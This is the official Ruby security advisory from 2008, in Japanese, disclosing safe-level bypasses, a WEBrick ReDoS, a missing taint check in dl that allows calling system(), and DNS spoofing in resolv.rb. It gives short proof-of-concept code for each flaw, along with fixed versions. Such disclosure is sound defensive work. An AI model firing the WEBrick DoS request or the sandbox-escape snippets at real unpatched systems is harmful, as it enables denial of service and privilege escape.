Rubyに複数の脆弱性

Posted by Shugo Maeda on 8 Aug 2008

Rubyに複数の脆弱性が発見されました。最新バージョンへのアップグレードを推奨します。

詳細

以下のような脆弱性が発見されました。

セーフレベルの脆弱性

セーフレベルにいくつかの脆弱性が発見されました。

  • untrace_varがセーフレベル4で実行可能です。

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }
    
    Thread.new do
     $SAFE = 4
     eval %q{
       proc = untrace_var :$VAR
       proc.first.call("aaa")
     }
    end.join
    
  • $PROGRAM_NAMEがセーフレベル4で変更可能です。

    Thread.new do
     $SAFE = 4
     eval %q{$PROGRAM_NAME.replace "Hello, World!"}
    end.join
    
    $PROGRAM_NAME #=> "Hello, World!"
    
  • 安全でないメソッドがセーフレベル1〜3で呼び出される可能性があります。

    class Hello
     def world
       Thread.new do
         $SAFE = 4
         msg = "Hello, World!"
         def msg.size
           self.replace self*10 # replace string
           1 # return wrong size
         end
         msg
       end.value
     end
    end
    
    $SAFE = 1 # or 2, or 3
    s = Hello.new.world
    if s.kind_of?(String)
     puts s if s.size < 20 # print string which size is less than 20
    end
    
  • Syslogの操作がセーフレベル4で実行可能です。

    require "syslog"
    
    Syslog.open
    
    Thread.new do
     $SAFE = 4
     eval %q{
       Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
       Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
       Syslog.info("masked")
       Syslog.close
     }
    end.join
    

これらの脆弱性は山口慶太さんによって報告されました。

WEBrickのDoS脆弱性

WEBrick::HTTP::DefaultFileHandlerには、 WEBrick::HTTPUtils.split_header_valueの正規表現のバックトラックのため、 リクエストの処理に指数関数的時間を要する欠陥があります。

攻撃可能なサーバの例:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

攻撃の例:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

このリクエストの処理は実質的には終了しません。

この脆弱性はChristian Neukirchenさんによって報告されました。

dlの汚染チェックの欠如

dlはオブジェクトの汚染フラグをチェックしないため、攻撃者に危険な関数の実行を許してしまう可能性があります。

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

この脆弱性はsheepmanさんによって報告されました。

resolv.rbのDNSスプーフィング脆弱性

resolv.rbには、リモートの攻撃者が偽造したDNS問い合わせの返答の受け入れを許す脆弱性があります。 この危険性は問い合わせのトランザクションID とソースポートのランダム化により低減できますが、resolv.rb ではどちらも行っていません。 修正により、それらのランダム化を行うようになります。

この脆弱性は田中哲さんによって報告されました。

脆弱性の存在するバージョン

1.8系
  • 1.8.5以前の全てのバージョン
  • 1.8.6-p286以前の全てのバージョン
  • 1.8.7-p71以前の全てのバージョン
1.9系
  • r18423以前の全てのリビジョン

各バージョンでの対応方法

各バージョンでの対応方法を以下に記載します。

1.8系
1.8.6-p287または1.8.7-p72に更新してください。
1.9 series

Subversionで最新版をチェックアウトしてください。

$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby

Rubyのパッケージを配布している各ベンダから、この脆弱性を修正した版のパッケージが提供されている場合もあります。詳細については各ベンダにお問い合わせください。

クレジット

これらの脆弱性は山口慶太さん・Christian Neukirchenさん・sheepmanさん・田中哲さんにより Ruby Security Teamに報告されました。

変更履歴

最近のニュース

Ruby 4.0.0 リリース

Ruby 4.0.0 が公開されました。 Ruby 4.0 には “Ruby Box”、”ZJIT” ほか多数の改善が含まれています。

Posted by naruse on 25 Dec 2025

サイトのアイデンティティの再設計

サイトの包括的なデザインのアップデートを発表できることを嬉しく思います。今回の更新ではTaeko Akatsukaさんにデザインを担当していただきました。

Posted by Hiroshi SHIBATA on 22 Dec 2025

Ruby 4.0.0 preview2 リリース

Ruby 4.0.0-preview2 が公開されました。Ruby 4.0では、Unicodeバージョンの17.0.0へのアップデートなど様々な改善が行われています。

Posted by naruse on 17 Nov 2025

もっと読む...